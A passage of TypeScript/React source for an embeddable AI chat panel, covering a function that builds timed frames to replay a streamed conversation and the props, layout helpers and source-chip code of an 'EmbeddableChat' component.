dragging.\nconst THINK_MS = 550\nconst TOKEN_MS = 55 // per word revealed while streaming text\nconst USER_MS = 480 // dwell on a user turn before the reply starts thinking\nconst SEGMENT_MS = 340 // a tool / approval card pops in\nconst POST_MS = 240 // dwell after a completed assistant turn\n\n/** Split text into tokens that KEEP surrounding whitespace, so re-joining a\n *  prefix reproduces the original spacing exactly (`\"a b\"` → `[\"a \", \"b\"]`). */\nfunction tokenize(text: string): string[] {\n  return text.match(/\\s*\\S+\\s*/g) ?? (text ? [text] : [])\n}\n\n/**\n * Expand a message list into ordered playback frames reproducing the live\n * stream: each user turn lands whole; each assistant turn first shows a\n * `thinking` indicator, then streams its text token-by-token, then pops any\n * tool / approval segments. Frame COUNT for a given prefix is deterministic, so\n * a host that appends a continuation (e.g. after an Approve) resumes seamlessly\n * from where it paused — the shared prefix's frames are unchanged.\n */\nexport function buildStreamFrames(messages: HistoricalMessage[]): StreamFrame[] {\n  const frames: StreamFrame[] = []\n  const revealed: HistoricalMessage[] = []\n  const push = (msgs: HistoricalMessage[], phase: StreamingPhase, typing: boolean, delayMs: number) =>\n    frames.push({ messages: msgs.slice(), phase, typing, delayMs })\n\n  messages.forEach((msg) => {\n    if (isHistoricalUserTurn(msg)) {\n      revealed.push(msg)\n      push(revealed, 'idle', false, USER_MS)\n      return\n    }\n\n    // Assistant turn: a `thinking` pause, then stream this turn's segments in\n    // order. The pause is emitted ONLY when there is already content to show\n    // (`revealed.length > 0`) — an empty first frame would hand the surface a\n    // zero-message list, flashing its empty state before the opening line.\n    if (revealed.length > 0) push(revealed, 'thinking', true, THINK_MS)\n\n    const segs = normalizeHistoricalMessageData(msg.messageData)\n    const built: MessageData[] = []\n    const emit = () => push([...revealed, { ...msg, messageData: [...built] }], 'streaming', false, 0)\n\n    segs.forEach((seg) => {\n      if (isTextSegment(seg)) {\n        const tokens = tokenize(seg.text)\n        let acc = ''\n        built.push({ ...seg, text: '' })\n        tokens.forEach((tok) => {\n          acc += tok\n          built[built.length - 1] = { ...seg, text: acc }\n          push([...revealed, { ...msg, messageData: [...built] }], 'streaming', false, TOKEN_MS)\n        })\n        built[built.length - 1] = { ...seg }\n      } else {\n        // Tool / approval segment: pops in fully.\n        built.push(seg)\n        emit()\n        frames[frames.length - 1].delayMs = SEGMENT_MS\n      }\n    })\n\n    revealed.push(msg)\n    push(revealed, 'idle', false, POST_MS)\n  })\n\n  if (frames.length === 0) push(revealed, 'idle', false, 0)\n\n  // The streaming/\"thinking\" indicator must stay up for the WHOLE replay and be\n  // removed only when the stream FINISHES — never blink off between turns or\n  // while text streams (that reads as flicker). So `typing` is true for every\n  // frame except the terminal one; `phase` is left accurate for other logic.\n  // (`ChatMessageList`'s `showStreamingLoader` still hides it on a frame whose\n  // last segment is a pending approval, i.e. when the agent is truly paused.)\n  const lastIdx = frames.length - 1\n  frames.forEach((f, i) => {\n    f.typing = i < lastIdx\n  })\n  return frames\n}\n","'use client'\n\n/**\n * EmbeddableChat — lib-portable port of the hub's `<GlobalAskAI>` component.\n *\n * Drops every hub-only import (auth-provider, useNavLink, currentPlatform,\n * tableIdForDocumentType, rag-table-config, etc.) and routes ALL navigation\n * + identity decisions through `useRequiredChatRuntime()`. Host wires the\n * runtime once at root (HubRuntimeProvider in the hub, custom provider in\n * embedders); this component reads from it everywhere.\n *\n * Diff summary vs hub original:\n *   - `useAuth()` → `useRequiredChatRuntime().user` (greeting + identity only;\n *     the requireAuth render gate is dropped — hub's wrapper handles it).\n *   - `currentPlatform()` → `useRequiredChatRuntime().source`.\n *   - `useNavLink`/`NavLinkAnchor` → chip-anchor rewrite via\n *     `handleChatNavClick` + lib's `NavLinkAnchorViaRuntime`.\n *   - `useDocChat(source)` → `useSseChatAdapter()` (reads source from runtime).\n *   - `tableIdForDocumentType` import deleted (dead per audit).\n *   - `renderChatInlineEntityCard` imported from lib's entity-cards barrel.\n *   - `useCloseOnNavigation` signature is `(close, pathname)` — pass `null`\n *     because lib has no `usePathname()` and embedders own that decision.\n *   - All other hub utilities (chat-attachment-bar, slash-commands fetcher,\n *     icon registry, chip-styles, click-utils, etc.) re-resolved against\n *     the equivalent lib modules.\n *\n * Public surface — `<EmbeddableChat />` taking the same prop bundle the hub\n * shell passes (minus `requireAuth`, which the hub's wrapper handles), plus\n * an optional `extras` opt-in for the chat-card dispatch helpers that need\n * host-supplied builders (program configs, product-release prop builder).\n */\n\nimport React, { useCallback, useEffect, useImperativeHandle, useMemo, useRef, useState } from 'react'\nimport { cn } from '../../utils/cn'\nimport { useControllableState } from '@radix-ui/react-use-controllable-state'\nimport * as DialogPrimitive from '@radix-ui/react-dialog'\nimport { usePreventScroll } from '@react-aria/overlays'\nimport { isIOS } from '@react-aria/utils'\nimport { VisuallyHidden } from '@radix-ui/react-visually-hidden'\nimport { FileText, MessageSquare } from 'lucide-react'\n\nimport { Button } from '../ui/button'\nimport { Drawer, DrawerContent } from '../ui/drawer'\nimport { HoverDropdown, type HoverDropdownItem } from '../ui/hover-dropdown'\nimport { MingoIcon } from '../icons'\nimport { EntityIcon } from '../icon-display'\n\nimport { MingoOnboardingCard } from './mingo-onboarding-card'\nimport { MingoOnboardingCardSkeleton } from './mingo-onboarding-card-skeleton'\nimport { MingoWelcome, type MingoWelcomeProps } from './mingo-welcome'\nimport { MingoHistoryRail } from './mingo-history-rail'\nimport { GuideWelcome, type GuideWelcomeProps } from './guide-welcome'\nimport { accentFromIdentityIcon, getAgentAccent } from './quick-action-chip'\nimport { GuideModeBanner } from './guide-mode-banner'\nimport { CollisionBoundaryContext, PortalContainerContext } from '../ui/portal-container'\nimport { ChatPanelHeader, type ChatPanelHeaderProps } from './chat-panel-header'\nimport { SquareAvatar } from '../ui/square-avatar'\nimport { ChatHeaderIconButton } from './chat-header-icon-button'\nimport { ChatHeaderSearchField } from './chat-header-search-field'\nimport { ActionsMenuDropdown, type ActionsMenuItem } from '../ui/actions-menu'\nimport { Arrow02RightIcon, Arrow02LeftIcon, SearchIcon, ClockHistoryIcon, Ellipsis01Icon, Refresh01LeftIcon } from '../icons-v2-generated'\nimport { Chevron02LeftIcon } from '../icons-v2-generated/arrows/chevron-02-left-icon'\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon'\nimport { ChatArchivePage } from './chat-archive-page'\nimport { ChatComposer } from './chat-composer'\nimport { useChatDialogManager } from './hooks/use-chat-dialog-manager'\nimport { ChatDialogModals } from './mingo-chat-modals'\nimport { ChatMessageList } from './chat-message-list'\nimport { ChatMessageListSkeleton } from './chat-message-skeleton'\nimport { SourceActionButton } from './source-action-button'\nimport { NavLinkAnchorViaRuntime } from './nav-link-anchor-via-runtime'\nimport { ChatAttachmentChipStrip } from './chat-attachment-bar'\nimport { renderChatInlineEntityCard } from './entity-cards/dispatch'\nimport type { ChatCardDispatchExtras } from './entity-cards/dispatch'\n\nimport { useRequiredChatRuntime } from '../../contexts/chat-runtime-context'\nimport { useRouter } from '../../embed-shims/next-navigation'\nimport { type ChatSource, type UseSseChatAdapterOptions } from './hooks/use-sse-chat-adapter'\nimport {\n  useUnifiedChat,\n  type ChatMode,\n  type UseUnifiedChatModes,\n} from './hooks/use-unified-chat'\nimport type { DialogItem } from './types/component.types'\nimport type { UnifiedChatState } from './types/unified-chat-state.types'\nimport type { MessageSegment } from './types/message.types'\nimport type {\n  UseNatsChatAdapterConfig,\n  FetchDialogsParams,\n  FetchDialogsResult,\n} from './hooks/use-nats-chat-adapter'\nimport { useChatAttachments } from './hooks/use-chat-attachments'\nimport { useChatAttachmentImageGallery } from './hooks/use-chat-attachment-image-gallery'\nimport { useChatIdentity } from './hooks/use-chat-identity'\nimport { useCloseOnNavigation } from './hooks/use-close-on-navigation'\nimport { fetchSlashCommands, useSlashCommandRegistry, type SlashCommandSummary } from './hooks/use-slash-commands'\nimport { useEmptyStateConfig } from './hooks/use-empty-state-config'\n\nimport type { ChatRef } from './chat-ref.types'\nimport type { ChatInputRef, SlashCommandActionId } from './types/component.types'\nimport type { Message } from './types/message.types'\nimport type {\n  ChatContextItem,\n  ChatContextPickerConfig,\n} from './types/context-item.types'\n\nimport { formatChatAttachmentMarkdownForBubble } from './utils/chat-attachment-markdown'\nimport { handleChatNavClick } from './utils/nav-click-handler'\nimport { computeIsNewTab, newTabAnchorAttrs } from './utils/nav-anchor-props'\nimport { resolveHrefForRuntime } from './utils/chat-nav-resolution'\nimport { ChatPanelContext, type ChatPanelHandle } from './chat-panel-context'\nimport { resolveSourceRowCTA, sourceRowCtxFromRuntime } from './utils/source-row-cta'\nimport { chatChipClass } from './utils/chip-styles'\nimport { resolveIcon } from './utils/icon-library'\nimport { getSourceIconName } from './utils/source-icons'\nimport { formatSingularLookupInvocation } from './utils/slash-dispatch-utils'\n\n// Desktop drawer opens at this fraction of the viewport width (clamped to the\n// Drawer's own min/max). The user can still resize (persisted per DRAWER_WIDTH_KEY).\nconst DRAWER_DEFAULT_WIDTH_RATIO = 0.5\n// Bump the suffix whenever the default policy changes so previously-persisted\n// widths (e.g. the old fixed 750px / earlier 30% default) reset on next open.\nconst DRAWER_WIDTH_KEY = 'mingo-chat-width-v3'\nconst DRAWER_DEFAULT_WIDTH_PX = 750 // SSR fallback before the viewport is known\nfunction drawerDefaultWidth(): number {\n  if (typeof window === 'undefined') return DRAWER_DEFAULT_WIDTH_PX\n  return Math.round(window.innerWidth * DRAWER_DEFAULT_WIDTH_RATIO)\n}\n\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** Lib-side type alias kept inline to avoid leaking the (deprecated) hub\n *  `rag-table-config` `DocSource` import. The chat source is always a\n *  string id; `useSseChatAdapter` reads it from `runtime.source`. */\ntype DocSource = string\n\nexport interface EmbeddableChatProps {\n  /** Base route for in-app doc chip nav (e.g. `/knowledge-base`). When\n   *  omitted, defaults are derived from `runtime.source`. */\n  baseRoute?: string\n  /** When the embedder doesn't host a `[...path]` route to render markdown\n   *  chips against, set this to a platform that does. Chips with\n   *  `externalUrl: null` resolve to `getBaseUrl(chipBasePlatform) +\n   *  '/knowledge-base/' + path` and open in a new tab. */\n  chipBasePlatform?: string\n  /** DB-driven list of enabled RAG table ids (chip catalog filter).\n   *  Prefetched server-side by the embedder's wrapper. Empty/null → no\n   *  empty-state chips render. */\n  enabledRagTableIds?: ReadonlyArray<string> | null\n  /** DB-backed empty-state greeting. Falls back to a generic greeting. */\n  emptyStateGreeting?: string | null\n  /** DB-backed starter prompts (chips below the greeting). */\n  suggestedQueries?: ReadonlyArray<string> | null\n  /** Controlled-mode open state. When provided, `onOpenChange` MUST also\n   *  be provided. Uncontrolled mode is the default. */\n  open?: boolean\n  /** Controlled-mode change handler. Required when `open` is provided. */\n  onOpenChange?: (open: boolean) => void\n  /** Initial open state for uncontrolled mode. Ignored if `open` is set. */\n  defaultOpen?: boolean\n  /** Render the built-in floating \"Ask AI\" trigger. Defaults to `true`. */\n  showInternalTrigger?: boolean\n  /**\n   * Non-interactive display mode. When `true`, the whole panel becomes a\n   * static visual — every hover state and click is blocked (via\n   * `pointer-events-none` on the panel body) and the composer no longer\n   * auto-focuses. Use it to embed the chat as a marketing/hero mock (e.g. a\n   * scripted `mingoState` thread) that should look live but not respond to the\n   * cursor. Scrolling is intentionally disabled too. Defaults to `false`.\n   */\n  previewMode?: boolean\n  /** Optional builders for chat-card types whose props live in hub-land\n   *  (programs + product_release). Forwarded straight to\n   *  `renderChatInlineEntityCard`. */\n  extras?: ChatCardDispatchExtras\n  /** Optional callback used by `useSseChatAdapter`'s `displayRef` /\n   *  `discussRef` flow to translate an LLM document type into the\n   *  registry table id for entity-id-filtered retrieval.\n   *\n   *  Legacy top-level form. The new shape is `modes.guide.tableIdForDocumentType`.\n   *  When both are present, `modes` wins. */\n  tableIdForDocumentType?: (documentType: string) => string | null\n\n  /**\n   * Per-mode transport configuration. When omitted, the component\n   * falls back to legacy guide-only behaviour synthesised from the\n   * top-level `tableIdForDocumentType` prop — multi-platform-hub and\n   * any other existing consumer keep working with zero changes.\n   *\n   * When provided, this is the canonical way to wire chat transports:\n   *\n   *   - `modes.guide`  → SSE/Guide adapter options (RAG retrieval, hub).\n   *   - `modes.mingo`  → NATS/Mingo adapter config  (agent, openframe).\n   *\n   * Configuring both modes makes the in-panel mode toggle appear so\n   * the user can flip between Guide and Mingo without losing either\n   * history (each mode keeps its own local thread).\n   */\n  modes?: UseUnifiedChatModes\n\n  /**\n   * Pre-built Mingo-mode state, supplied by the host instead of letting the\n   * built-in NATS adapter own it. When provided, the panel renders Mingo mode\n   * from this object and opens no subscription of its own — the host keeps\n   * chat data + streaming in its own store/cache so it survives the panel\n   * unmounting (no `keepMounted` needed). The host should then NOT pass\n   * `modes.mingo` (Guide-mode wiring via `modes.guide` is unaffected).\n   */\n  mingoState?: UnifiedChatState\n\n  /**\n   * Approval cards to pin as the sticky footer under the thread.\n   *\n   * Hosts that lift PENDING approvals out of the message list (mingo does:\n   * a pending card is filtered out of its bubble so an interrupted retry cannot\n   * render the same request twice) must hand them back here — otherwise the\n   * card exists in the reducer, is stripped on the way to the view, and is\n   * displayed nowhere at all. `ChatMessageList` renders them with the same\n   * component the inline path uses, so the approve/reject handlers stamped on\n   * the segments keep working.\n   */\n  pendingApprovals?: MessageSegment[]\n\n  /**\n   * Dialog-management capabilities for injected Mingo mode (`mingoState`).\n   *\n   * When the host injects `mingoState`, it doesn't pass `modes.mingo` (that\n   * would re-activate the idle built-in adapter), so the rename/archive/\n   * restore/archive-page affordances can't read their capability flags off the\n   * callback config. Supply them here instead. `canRename`/`canArchive` default\n   * to `true` when `mingoState` is set; the archive page + restore are shown\n   * only when their callbacks are provided. Ignored unless `mingoState` is set.\n   */\n  mingoDialogCapabilities?: {\n    canRename?: boolean\n    canArchive?: boolean\n    fetchArchivedDialogs?: (\n      params: FetchDialogsParams,\n    ) => Promise<FetchDialogsResult>\n    unarchiveDialog?: (id: string) => Promise<void>\n    searchQuery?: string\n    onSearchChange?: (query: string) => void\n    /** Copy a shareable link to a conversation — adds \"Copy chat link\" to the\n     *  header ⋯ menu and every dialog row menu. The host owns the URL shape and\n     *  the clipboard write; the panel knows neither the app's routes nor whether\n     *  a clipboard is available. Omit to hide the action. */\n    onCopyLink?: (dialog: DialogItem) => void\n  }\n\n  /**\n   * Controlled active-mode. When provided, `onActiveModeChange` MUST\n   * also be provided. For uncontrolled use see `defaultActiveMode`.\n   */\n  activeMode?: ChatMode\n\n  /** Controlled active-mode change handler. Required when `activeMode` is set. */\n  onActiveModeChange?: (mode: ChatMode) => void\n\n  /**\n   * OpenFrame AI agent mode — render a global agent (e.g. `'fae'`, `'mingo'`).\n   * Works in BOTH regular (host) AND embedded modes. When set, the chat fetches\n   * that agent's display config (greeting + suggested prompts) instead of the\n   * platform empty-state — the \"agent mode\" URL override. DISPLAY-only this\n   * phase: retrieval still resolves server-side from the platform. Optional;\n   * unset = today's behavior.\n   *\n   * Route resolution (highest → lowest precedence):\n   *   1. `aiAgentConfigUrl` prop (below)\n   *   2. `runtime.endpoints.aiAgentConfigUrl`\n   *   3. the component's built-in default (`/api/ai-agents/<slug>`)\n   * So agent mode works with ZERO wiring, yet every route stays overridable.\n   */\n  activeAgentSlug?: string\n\n  /** Optional agent switcher callback (host renders the agent picker UI). */\n  onAgentChange?: (slug: string) => void\n\n  /**\n   * Per-component override for the agent display-config route. Highest\n   * precedence (over `runtime.endpoints.aiAgentConfigUrl` and the built-in\n   * default). Lets a single embed point a specific agent at a custom/proxied\n   * endpoint without changing the shared runtime. Optional.\n   */\n  aiAgentConfigUrl?: (slug: string) => string\n\n  /**\n   * Initial active mode for uncontrolled mode. Ignored when `activeMode`\n   * is set. Defaults to `'guide'` when `modes.guide` is configured,\n   * else `'mingo'`.\n   */\n  defaultActiveMode?: ChatMode\n\n  /**\n   * Wrapper shell around the chat body.\n   *   - `'drawer'` (default): wraps in a body-level Radix Drawer (slide-in\n   *     overlay from the right) — the original MPH / standalone behaviour.\n   *   - `'none'`: no shell. Renders only the chat body so the consumer can\n   *     host it inside their own container (e.g. `AppLayoutDrawerContent`).\n   *     The internal \"Ask AI\" trigger and iOS body scroll-lock are also\n   *     suppressed — those are Drawer-shell concerns. The consumer is\n   *     responsible for mount/unmount and for opening/closing via the\n   *     `open` / `onOpenChange` props (which the in-body close button still\n   *     drives).\n   */\n  shell?: 'drawer' | 'none'\n\n  /**\n   * Display name of the signed-in user, shown as the sub-line under the chat\n   * title in the panel header. The server-resolved chat identity\n   * (`useChatIdentity().user.name`) always wins when present; this is the\n   * host-supplied fallback so the header still shows who's signed in when the\n   * identity endpoint doesn't return a name (e.g. a tenant whose identity\n   * route omits it). Empty/undefined → the header renders the title alone.\n   */\n  userDisplayName?: string\n\n  /**\n   * Avatar URL of the signed-in user — the header-avatar counterpart of\n   * `userDisplayName`. Used for the New Chat compose view (and as the\n   * fallback when an open conversation's dialog carries no owner info).\n   * The server-resolved identity avatar wins when present; absent both →\n   * initials derived from the display name.\n   */\n  userAvatarUrl?: string\n\n  /**\n   * Content overrides for the default (Mingo-mode) empty state\n   * (`<MingoWelcome>`): greeting `title`/`subtitle`, the `promo` card, and\n   * extra `quickActions` chips.\n   * Each field falls back to the built-in OpenFrame defaults, so the kit\n   * stays platform-agnostic. `onStartGuideChat` and `hasExistingChats` are\n   * wired internally and are NOT overridable here. The quick-action\n   * hover-preview callbacks are also wired internally.\n   */\n  mingoWelcome?: Omit<\n    MingoWelcomeProps,\n    | 'onStartGuideChat'\n    | 'hasExistingChats'\n    | 'onQuickActionHover'\n    | 'onQuickActionHoverEnd'\n  >\n\n  /**\n   * Content overrides for the Guide-mode empty state (`<GuideWelcome>`):\n   * greeting `title`/`subtitle` and the `quickActions` chips. Each field falls\n   * back to the built-in OpenFrame defaults. `onQuickAction` and the\n   * slash-command list `children` are wired internally and not overridable.\n   */\n  guideWelcome?: Omit<GuideWelcomeProps, 'onQuickAction' | 'children'>\n\n  /**\n   * Entity-context picker config (Figma 31:28708 / 1:5699). When provided, the\n   * composer renders the `+` \"Assign Item\" menu, the `@`-mention trigger, the\n   * two-level picker (entity-type list → searchable multi-select), and the\n   * selected-item chips; the selection rides out on send via\n   * `sendMessage(text, { contextItems })`, which the host folds into its\n   * outgoing payload. The host owns every entity source (REST/GraphQL) behind\n   * `config.search`. Omit to disable the feature entirely.\n   */\n  contextPicker?: ChatContextPickerConfig\n  /**\n   * Host renderer for inline AI mentions `@marker:id` (e.g. the assistant\n   * echoing `@device:<machineId>` in its reply). DIRECT MIRROR of\n   * `renderEntityCard` for the `[card://]` grammar: the lib detects the token,\n   * parses `{marker, id}`, and renders whatever the host returns — typically a\n   * SELF-FETCHING chip (each entity type has its own fetcher) that resolves its\n   * own display name by id. SEPARATE from `contextPicker`/`contextItems` (the\n   * USER's attachments). Keep the function identity stable (module const /\n   * `useCallback`) so the thread's streaming memo holds. Return null for a\n   * marker the host can't render → the lib falls back to the bare token.\n   */\n  renderMention?: (reference: { marker: string; id: string }) => React.ReactNode\n  /**\n   * Host renderer that REPLACES the default label-only context chip on a sent\n   * user bubble with a self-fetching entity chip — so a user's manually\n   * attached context (`contextItems`) renders IDENTICALLY to an inline\n   * `@marker:id` mention (same live name resolution + link). Mirror of\n   * `renderMention`, for the attached-chip strip instead of inline tokens.\n   * Return null for an item the host can't render → the lib falls back to the\n   * label pill. Keep the identity stable (module const / `useCallback`).\n   */\n  renderContextItem?: (item: ChatContextItem) => React.ReactNode\n  /**\n   * One-shot prompt auto-sent into GUIDE mode. When set to a non-empty string\n   * while `activeMode === 'guide'`, the panel sends it once via the active\n   * (Guide/SSE) transport on the next render — e.g. an \"Ask Mingo about X\"\n   * empty-state launcher that wants contextual guidance about a section — and\n   * then invokes `onGuidePromptConsumed` so the host can null it. Nulling the\n   * prop re-arms the one-shot, so the SAME text can be launched again later.\n   * No-op in Mingo mode (the host should force `activeMode='guide'` alongside).\n   */\n  guidePendingPrompt?: string | null\n  /**\n   * Called once `guidePendingPrompt` has been handed to the Guide transport, so\n   * the host can clear its queued prompt (which re-arms the one-shot).\n   */\n  onGuidePromptConsumed?: () => void\n  /**\n   * CONTEXT MEMORY (Figma 271:38656) — the entities the host collected from the\n   * user's navigation history and rides out on every message. Rendered as a\n   * summary strip at the top of the composer card (\"N recently viewed items in\n   * context\") with a `⋯` dropdown listing them all, each removable via\n   * `onRemove`. Replaces the old under-the-header \"current page context\" banner.\n   *\n   * Host-owned data (it lives in the host's navigation store); the lib only\n   * places and styles it, resolving lead glyphs from `contextPicker.entityTypes`.\n   * Shown only alongside an active `contextPicker` (i.e. Mingo mode); an empty\n   * `items` array renders nothing. Keep the object identity stable (`useMemo`).\n   */\n  contextMemory?: {\n    items: ChatContextItem[]\n    onRemove?: (item: ChatContextItem) => void\n  }\n}\n\n// =============================================================================\n// Chip href resolution\n// =============================================================================\n\n/** Tiny inline replacement for hub's `formatRelativePath`. */\nconst formatRelativePath = (p: string): string =>\n  p.replace(/^\\/+/, '').replace(/\\/+$/, '')\n\n/**\n * The committed `@`-mention text token, derived from a `type:id` identity key.\n * The TYPE is replaced with its backend mention MARKER (`markerByType`, e.g.\n * `KB_ARTICLE → 'kb'`), falling back to a lowercased type when the host didn't\n * declare one (`@device:…`, not `@DEVICE:…`); the `id` is left verbatim. The\n * structured context items keep the original (upper) entity-kind for the wire\n * enum, so this only affects the inline draft token. `[A-Za-z…]` in the input\n * regex matches either case, so commit/strip/detect stay symmetric.\n */\nconst mentionTokenOf = (key: string, markerByType: Map<string, string>): string => {\n  const ci = key.indexOf(':')\n  const type = ci === -1 ? key : key.slice(0, ci)\n  const id = ci === -1 ? '' : key.slice(ci + 1)\n  return `${markerByType.get(type) ?? type.toLowerCase()}:${id}`\n}\n\n/**\n * Fallback fan-out when the model didn't cite any source. Show the top-N\n * retrieved sources instead of zero chips. Mirrors Perplexity's behavior.\n */\nconst FALLBACK_TOP_RETRIEVED = 3\n\n/**\n * Split (wide) Mingo layout metrics (Figma 113:60931 / 113:63630). The\n * \"Current Chats\" rail is a fixed 320px column; the chat block fills the rest\n * with a 400px floor. Below their sum the panel is too tight for two columns,\n * so the layout falls back to the stacked (single-column) view where the\n * history renders inline in the Mingo empty state. Purely width-driven and\n * self-contained — the host wires nothing.\n */\nconst HISTORY_RAIL_WIDTH = 320\nconst CHAT_BLOCK_MIN_WIDTH = 400\nconst SPLIT_MIN_WIDTH = HISTORY_RAIL_WIDTH + CHAT_BLOCK_MIN_WIDTH\n\n/** Persists the user's rail collapse choice across drawer open/close + reloads. */\nconst RAIL_COLLAPSED_STORAGE_KEY = 'mingo-chat-history-collapsed'\n\n/** Exit-timer budget (ms) before the collapsed rail unmounts — must cover the\n *  longest leave (`RAIL_COLLAPSE_MS`) plus a little slack so the width/opacity\n *  transition always settles before the element is removed. */\nconst RAIL_ANIM_MS = 320\n\n/**\n * Presence + width-transition state for the history rail. The rail animates its\n * WIDTH (320 ⇄ 0) + opacity so the chat block grows/shrinks smoothly alongside\n * it — no hard reflow \"jump\" when it appears/disappears.\n *\n * - `mounted` — whether to render the rail at all (stays true through the leave\n *   so the collapse can play out before unmount).\n * - `active` — drives the expanded (`w-80 opacity-100`) vs collapsed\n *   (`w-0 opacity-0`) classes. On a fresh mount it flips true on the next frame\n *   so the open transitions from collapsed → expanded (an intro slide).\n */\nfunction useRailPresence(open: boolean): { mounted: boolean; active: boolean } {\n  const [mounted, setMounted] = useState(open)\n  // Start collapsed even when open, so the first paint transitions OPEN.\n  const [active, setActive] = useState(false)\n  useEffect(() => {\n    if (open) {\n      setMounted(true)\n      // Flip to expanded only AFTER the browser has painted the collapsed\n      // (w-0) frame — otherwise the mount + expand coalesce into one paint and\n      // the width transition never plays (the rail \"pops\" open). A single rAF\n      // fires before that first paint; a SECOND rAF lands after it, so the\n      // enter transition runs from a real w-0 → w-80.\n      let raf2 = 0\n      const raf1 = requestAnimationFrame(() => {\n        raf2 = requestAnimationFrame(() => setActive(true))\n      })\n      return () => {\n        cancelAnimationFrame(raf1)\n        cancelAnimationFrame(raf2)\n      }\n    }\n    setActive(false) // collapse (width/opacity transition to 0)\n    if (!mounted) return // already gone — nothing to unmount later\n    const t = setTimeout(() => setMounted(false), RAIL_ANIM_MS)\n    return () => clearTimeout(t)\n  }, [open, mounted])\n  return { mounted, active }\n}\n\n/**\n * Animated container for a history-rail cell (the header's \"Current Chats\" cell\n * and the body's list column). The OUTER box transitions its width 0 ⇄ 320 +\n * opacity (so the neighbouring chat block slides smoothly); the INNER keeps a\n * fixed `w-80` so the rail content never squishes mid-animation — it's just\n * clipped by the shrinking outer (`overflow-hidden`). One easing both ways;\n * the collapse runs a touch longer than the open for a soft close.\n */\nfunction RailSlot({\n  active,\n  innerClassName,\n  children,\n}: {\n  active: boolean\n  innerClassName?: string\n  children: React.ReactNode\n}) {\n  return (\n    <div\n      className={cn(\n        // Border on the OUTER so the rail/chat divider tracks the animating\n        // boundary (and fades out with the panel) instead of vanishing early.\n        'shrink-0 overflow-hidden border-r border-ods-border transition-[width,opacity] ease-out',\n        active\n          ? 'w-80 opacity-100 duration-[240ms]'\n          : 'w-0 opacity-0 duration-[300ms]',\n      )}\n    >\n      <div className={cn('h-full w-80', innerClassName)}>{children}</div>\n    </div>\n  )\n}\n\n/**\n * Built-in default route for an OpenFrame AI agent's display config — the\n * lowest-precedence fallback so \"agent mode\" works with ZERO endpoint wiring.\n * Overridden by `runtime.endpoints.aiAgentConfigUrl` or the `aiAgentConfigUrl`\n * prop. Same-origin relative path (works for host + same-origin embeds);\n * cross-origin embedders behind a proxy override with their absolute path.\n */\nconst DEFAULT_AI_AGENT_CONFIG_URL = (slug: string): string =>\n  `/api/ai-agents/${encodeURIComponent(slug)}`\n\n/**\n * Per-row width palette for the empty-state skeleton stack. Cycled\n * by index so each render is deterministic (no jitter between\n * loading frames) and the stack reads like a real, irregular list:\n *\n *   - titles vary from short (\"Webinars\") to long (\"OpenFrame Pull Requests\")\n *   - slashes vary from `/docs` to `/getting-started`\n *   - one row collapses to a single-line description to mimic the\n *     short-copy entries returned by `/api/docs/commands`.\n */\nconst SKELETON_ROW_VARIANTS: ReadonlyArray<{\n  titleWidth: string\n  slashWidth: string\n  descriptionLines: 1 | 2\n}> = [\n  { titleWidth: 'w-32', slashWidth: 'w-20', descriptionLines: 2 },\n  { titleWidth: 'w-28', slashWidth: 'w-16', descriptionLines: 2 },\n  { titleWidth: 'w-40', slashWidth: 'w-24', descriptionLines: 2 },\n  { titleWidth: 'w-44', slashWidth: 'w-28', descriptionLines: 2 },\n  { titleWidth: 'w-36', slashWidth: 'w-24', descriptionLines: 1 },\n  { titleWidth: 'w-24', slashWidth: 'w-16', descriptionLines: 2 },\n]\n\n// =============================================================================\n// Slash-command dispatch\n// =============================================================================\n\n/**\n * Single source of truth for slash-command action dispatch. Maps an action\n * id to the corresponding chat-input-ref mutation. Same vocabulary as the\n * hub original.\n */\nfunction dispatchSlashCommandAction(\n  actionId: SlashCommandActionId,\n  cmdId: string,\n  ref: React.MutableRefObject<ChatInputRef | null>,\n): void {\n  const input = ref.current\n  if (!input) return\n  switch (actionId) {\n    case 'browse':\n      input.submit(formatSingularLookupInvocation(cmdId))\n      return\n    case 'search':\n      input.setValue(`/${cmdId} `)\n      return\n    case 'find': {\n      const text = `/${cmdId} \"\"`\n      input.setValueAndCursor(text, text.length - 1)\n      return\n    }\n    case 'display': {\n      const text = `/${cmdId} display \"\"`\n      input.setValueAndCursor(text, text.length - 1)\n      return\n    }\n  }\n}\n\n/**\n * Resolve the icon for a source chip. `src.sourceRepo` is the\n * `RagTableConfig.id` — looked up via `SOURCE_ICON_NAMES`, then\n * resolved via `ICON_REGISTRY`. Falls back to `<FileText/>` so a\n * misconfigured chip doesn't crash render.\n */\nfunction resolveChipIcon(src: ChatSource): React.ReactNode {\n  const iconName = getSourceIconName(src.sourceRepo)\n  const Icon = iconName ? resolveIcon(iconName, { variant: 'brand' }) : FileText\n  return <Icon className=\"h-3.5 w-3.5\" />\n}\n\n// =============================================================================\n// SourceChip\n// =============================================================================\n\n/**\n * Source chip — TWO affordances per the hub original:\n *  1. Open: click → chip's URL (in-app for docs, new-tab for external).\n *  2. Ask: small `MessageSquare` icon-button on the right → fires\n *     `onDiscuss(ref)` to drill into THIS row via `entityIdFilter`.\n */\nfunction SourceChip({\n  src,\n  baseRoute,\n  chipBasePlatform,\n  onClose,\n  onDiscuss,\n}: {\n  src: ChatSource\n  baseRoute: string\n  chipBasePlatform?: string\n  onClose: () => void\n  onDiscuss?: (ref: ChatRef) => void\n}) {\n  const runtime = useRequiredChatRuntime()\n  const router = useRouter()\n  // Single CTA resolver — same icon, same href chain, same ChatRef\n  // synthesis the inline card and search-result paths use.\n  const cta = resolveSourceRowCTA(\n    {\n      sourceRepo: src.sourceRepo,\n      documentType: src.documentType,\n      id: src.id,\n      title: src.name,\n      externalUrl: src.externalUrl,\n      targetPlatform: src.targetPlatform ?? null,\n      path: src.path,\n    },\n    sourceRowCtxFromRuntime(runtime, { baseRoute, chipBasePlatform }),\n  )\n  const Icon = cta.icon\n  const icon = <Icon className=\"h-3.5 w-3.5\" />\n  const chipClass = chatChipClass({ tone: 'secondary' })\n\n  // Single source for the new-tab decision — same `computeIsNewTab` the\n  // inline cards consume via `ChatCardLoader`.\n  const decideTab = (href: string | null, targetPlatform: string | null) =>\n    computeIsNewTab(runtime, href, targetPlatform)\n\n  // Grouped source — hover/click reveals a dropdown with Open + Ask per row.\n  if (src.items && src.items.length > 0) {\n    const dropdownItems: HoverDropdownItem[] = src.items.map((item) => {\n      const itemCta = resolveSourceRowCTA(\n        {\n          sourceRepo: src.sourceRepo,\n          documentType: item.documentType,\n          id: item.id,\n          